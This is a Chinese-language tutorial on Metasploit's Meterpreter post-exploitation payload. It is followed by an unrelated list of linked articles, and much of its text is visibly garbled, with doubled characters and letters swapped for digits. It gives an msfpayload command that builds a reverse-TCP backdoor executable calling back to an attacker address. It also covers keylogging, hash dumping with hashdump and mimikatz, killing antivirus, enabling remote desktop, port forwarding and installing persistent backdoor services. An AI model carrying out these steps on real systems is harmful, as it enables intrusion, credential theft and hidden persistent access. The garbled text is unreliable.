0x01 背景

  meterpreter作为后渗透模块有多种类型,并且命令由核⼼心命令和扩展库命令组成,极⼤大的丰富了了攻击⽅方式。 需要说明的是meterpreter在漏漏洞洞利利⽤用成功后会发送第二阶段的代码和meterpreter服务器器dll,所以在⽹网络不不稳定的情况下经常出现没有可执⾏行行命令,或者会话建⽴立执⾏行行help之后发现缺少命令。 连上vpn⼜又在内⽹网中使⽤用psexec和bind_tcp的时候经常会出现这种情况,别担⼼心结束了了之后再来⼀一次,喝喝杯茶就好了了。

0x02 常⽤用类型

  reverse_tcp

    p2th :

      p2ylo2d/windows/meterpreter/reverse_tcp

      msfp2ylo2d windows/meterpreter/reverse_tcp LHOST=192.168.1.130

      LPORT=8080 X > ~/Desktop/ b2ckdoor.exe

      

      

      

      反向连接shell,使⽤用起来很稳定。需要设置LHOST。

  bind_tcp

p2th : p2ylo2d/windows/meterpreter/bind_tcp

正向连接shell,因为在内⽹网跨⽹网段时⽆无法连接到2tt2ck的机器器,所以在内⽹网中经常会使⽤用,不不需要设置LHOST。

  reverse_http/https

p2th:p2ylo2d/windows/meterpreter/reverse_http/https

通过http/https的⽅方式反向连接,在⽹网速慢的情况下不不稳定,在某博客上看到https如果反弹没有收到数据,可以将监听端⼝口换成443试试。

0x03 基本命令

      

  

常⽤用的有:

b2ckground:将当前会话放置后台

lo2d/use:加载模块

Inter2ct:切换进⼀一个信道

migr2te:迁移进程

run:执⾏行行⼀一个已有的模块,这⾥里里要说的是输⼊入run后按两下t2b,会列列出所有的已有

的脚本,常⽤用的有2utoroute,h2shdump,2rp_sc2nner,multi_meter_inject等。

Resource:执⾏行行⼀一个已有的rc脚本。

0x04 常⽤用扩展库介绍

      

    

  meterpreter中不不仅有基本命令还有很多扩展库,lo2d/use之后再输⼊入help,就可以看到关于这个模块的命令说明了了。

std7pi comm7nd

⽂文件相关

  std2pi中有关于⽂文件读写,上传下载,⽬目录切换,截屏,摄像头,键盘记录,和系统相关的命令。 常⽤用的当然就是⽂文件操作及⽹网络有关的命令。 通常我会⽤用uplo2d和downlo2d进⾏行行⽂文件上传和下载,注意在meterpreter中也可以切换⽬目录,当然也可以编辑⽂文件。所以就不不⽤用运⾏行行shell再⽤用echo写。

    

    使⽤用edit命令时需要注意编辑的是⼀一个存在的⽂文件,edit不不能新建⽂文件。 输⼊入edit + ⽂文件后就会调⽤用vi编辑了了。

  ⽹网络相关

    ⽹网络命令则有列列出ip信息(ipconfig),展示修改路路由表(route),还有端⼝口转发(portfwd)。 ⽐比如portfwd:

      

      在建⽴立规则之后就可以连接本地3344端⼝口,这样远程的3389端⼝口就转发出来了。

  键盘监听

      

  这⾥里里需要注意⼀一下windows会话窗⼝口的概念,windows桌⾯面划分为不不同的会话(session),以便便于与windows交互。会话0代表控制台,1,2代表远程桌⾯面。所以要截获键盘输⼊入必须在0中进⾏行行。可 以使⽤用getdesktop查看或者截张图试试。否则使⽤用setdesktop切换。

     

  如果不不⾏行行就切换到explorer.exe进程中,这样也可以监听到远程桌⾯面连接进来之后的键盘输⼊入数据。

  mimik7tz

    这个不不多介绍,只是因为这样抓到的h2sh可以存进数据库⽅方便便之后调⽤用,不不知道有没有什什么⽅方法可以快速的⽤用第三⽅方⼯工具抓到h2sh/明⽂文然后存进数据库。

      

      这⾥里里是因为我的⽤用户本身就没有密码。

  sniffer

      

0x05使⽤用⾃自定脚本

  

  这⾥里里的脚本可以是rc脚本,也可以是ruby脚本,met2sploit已经有很多⾃自定义脚本了了。⽐比如上⾯面说过的2rp_sc2nner,h2shdump。这些脚本都是⽤用ruby编写,所以对于后期⾃自定义修改来说⾮非常⽅方便便,这⾥里里介绍⼀一个很常⻅见的脚本scr2per,它将⽬目标机器器上的常⻅见信息收集起来然后下载保存在本地。推荐这个脚本是因为这个过程⾮非常不不错。可以加⼊入⾃自定义的命令等等。

run getgui -e 开启远程桌⾯面

run h7shdump 获取h7sh后的密码

run checkvm 检查是否是虚拟机

run kill7v 关闭杀毒软件

  /.msf4/logs/下保存了了所有脚本需要保存的⽇日志记录,当然不不只这⼀一个脚本。同样.msf4⽂文件夹下还保存了了其他东⻄西,⽐比如输⼊入过的命令,msf运⾏行行过程的⽇日志等。Scr2per脚本将保存结果在/.msf4/logs/scripts/scr2per/下。

0x06 持续性后⻔

  met2sploit⾃自带的后⻔门有两种⽅方式启动的,一种是通过服务启动(metsvc),⼀种是通过启动项启动(persistence) 优缺点各异:metsvc是通过服务启动,但是服务名是meterpreter,脚本代码⻅见图:

      

  这⾥里里需要上传三个⽂文件,然后⽤用metsvc.exe 安装服务。不不知道服务名能不不能通过修改metsvc.exe达到。 安装过程和回连过程都很简单

      

  下次回连时使⽤用windows/metsvc_bind_tcp的p2ylo2d就可以。

      

0x07 后记

  meterpreter提供了了很多攻击或收集信息的脚本,并且还有很多API(具体参考官⽅方⽂文档),及扩展。在对ruby代码理理解的程度上,如果能根据⽬目标环境和现状修改现有脚本或编写⾃自⼰己的脚本则能够极⼤大的提⾼高效率,获得预期的结果





Meterpreter常⻅见⽤用法的更多相关文章

  1. iBatis一些非见用法(相当实用)

     兼顾效率,iBatis一些非见用法(10条) 2009-09-18 10:33:03 标签:iBatis 休闲 职场 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声 ...

  2. Spring源码分析之IOC的三种常见用法及源码实现(二)

    Spring源码分析之IOC的三种常见用法及源码实现(二) 回顾上文 我们研究的是 AnnotationConfigApplicationContext annotationConfigApplica ...

  3. iOS---GCD的三种常见用法

    1.一次性代码:dispatch_once 有时候,有些代码在程序中只要被执行一次. 整个程序运行过程中,只会执行一次. - (void)viewDidLoad { [super viewDidLoa ...

  4. Spring源码分析之IOC的三种常见用法及源码实现(一)

    1.ioc核心功能bean的配置与获取api 有以下四种 (来自精通spring4.x的p175) 常用的是前三种 第一种方式 <?xml version="1.0" enc ...

  5. jdbc三种常见用法

    import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sq ...

  6. python-常见用法

    一.注释 单行注释:#后全部注释 多行注释:'''所有内容'''  或者使用 """所有内容"""  ,多行注释用三对单引号或双引号包裹 二 ...

  7. Spring源码分析之IOC的三种常见用法及源码实现(三)

    上篇文章我们分析了AnnotationConfigApplicationContext的构造器里refresh方法里的invokeBeanFactoryPostProcessors,了解了@Compo ...

  8. use关键字在PHP中的几种用法

    在学习了和使用了这么多年的PHP之后,您知道use这个关键字在PHP中都有哪些用法吗?今天我们就来看一下它的三种常见用法. 1. 用于命名空间的别名引用 // 命名空间 include 'namesp ...

  9. URL详谈

    URL(Uniform Resource Locator,统一资源定位符)是地址的别名.它包含关于文件存储位置和浏览器应如何处理它的信息.互联网上的每个文件都有唯一的 URL. URL 的第一个部分称 ...

随机推荐

  1. Keras深度学习框架安装及快速入门

    1.下载安装Keras 如果你是安装的Anaconda组合套件,可以直接在Prompt上执行安装命令:pip install keras 注意:最下面为Successfully...表示安装成功! 2 ...

  2. Exception in thread "main" java.lang.RuntimeException: Hive metastore database is not initialized. Please use schematool (e.g. ./schematool -initSchema -dbType ...) to create the schema. If needed, do

    继上一篇Hive: Exception in thread "main" java.lang.RuntimeException: Hive metastore database i ...

  3. Bean named '...' is expected to be of type [...] but was actually of type [com.sun.proxy.$Proxy7解决方法

    报错 三月 07, 2017 8:09:52 下午 org.springframework.context.support.ClassPathXmlApplicationContext prepare ...

  4. 如何获取Azure AD tenant的tenant Id?

          一般情况下,Azure AD用户知道自己tenant域名,因为域名是账户的后缀,例如:contoso.onMicrosoft.com.如果你还不了解什么是Azure AD tenant,可 ...

  5. Sqlserver还原master

    net stop mssqlserver net start mssqlserver /m"SQLCMD" sqlcmd -s xx sqlcmd -s xx -U sa -P x ...

  6. 南邮ctf-web的writeup

    WEB 签到题 nctf{flag_admiaanaaaaaaaaaaa} ctrl+u或右键查看源代码即可.在CTF比赛中,代码注释.页面隐藏元素.超链接指向的其他页面.HTTP响应头部都可能隐藏f ...

  7. Shell编程基础知识(一)

    一.基本的运行Linux程序的3种方法: (1) 使文件具有可执行权限,直接运行文件.eg:  chmod a+x testfile.sh   ./testfile.sh (2) 直接调用命令解释器来 ...

  8. SQLServer数据库增删改查

    一.数据库定义 数据库(Database)是按照数据结构来组织.存储和管理数据的仓库.数据库的操作分为两种形式:一种是直接在数据库管理工具图形化界面进行操作:一种是使用数据库脚本进行操作,数据库脚本可 ...

  9. 聚类——FCM的matlab程序

    聚类——FCM的matlab程序 作者:凯鲁嘎吉 - 博客园 http://www.cnblogs.com/kailugaji/ 在聚类——FCM文章中已介绍了FCM算法的理论知识,现在用matlab ...

  10. 推酷文章中编写js组件系列文章整理

    一步一步实现JS拖拽插件 http://www.tuicool.com/articles/RBbmMjY JS组件系列——基于Bootstrap Ace模板的菜单和Tab页效果分享 http://ww ...